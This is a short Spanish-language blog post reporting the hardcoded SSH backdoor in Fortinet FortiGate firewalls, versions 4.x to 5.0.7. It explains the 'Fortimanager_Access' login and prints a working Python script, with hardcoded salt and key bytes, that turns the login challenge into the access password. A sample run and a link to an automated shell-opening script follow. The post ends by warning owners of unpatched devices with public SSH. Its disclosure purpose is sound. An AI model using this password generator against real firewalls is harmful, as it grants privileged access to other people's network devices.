Backdoor para acceder por SSH a los Firewalls de Fortinet, FortiGate 4.x a 5.0.7

Parece que Juniper no es el único que ~~esconde~~ tiene un backdoor para acceder a algunos de sus firewalls con una contraseña "hardcodeada". Recientemente se ha descubierto que los firewalls de Fortinet con la versión de Fortigate OS 4.x a la 5.0.7, también permiten el acceso con privilegios mediante SSH con una contraseña, eso sí, esta vez no es totalmente estática.

Al loggearnos con el usuario "Fortimanager_Access" se generará una clave numérica aleatoria que *supuestamente* el operador de Fortinet de turno (hola NSA y cía!) usaba para generar una clave de acceso mediante un sencillo algoritmo.

Básicamente este algoritmo consiste en calcular un hash en SHA1 cíclico combinando la cadena dinámica obtenida con otras fijas, como podéis ver a continuación:

#!/usr/bin/env python

import sys
import base64
import hashlib

n = sys.argv[1]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
print h

Si probáis este sencillo script la contraseña de la sesión SSH sería por ejemplo:

python fortigate.py 1759853112
AK1AAAAAAAAAAAAAAAAN5CosnWVyu+nGfiEcqJLjPgf3vM=

Además, hace unos días en Full Disclosure se publicó un script en Python que automatiza la apertura del shell mediante una conexión SSH con Paramiko, una implementación en Python del protocolo SSHv2:

http://seclists.org/fulldisclosure/2016/Jan/26

Como podéis comprobar en la última imágen sacada de un usuario de Reddit y en otros foros ya se ha confirmado dicho backdoor, así que creo que no es necesario que os diga nada más sí tenéis un firewall Fortigate sin actualizar... y mucho menos si tenéis SSH escuchando en un interfaz con una IP pública...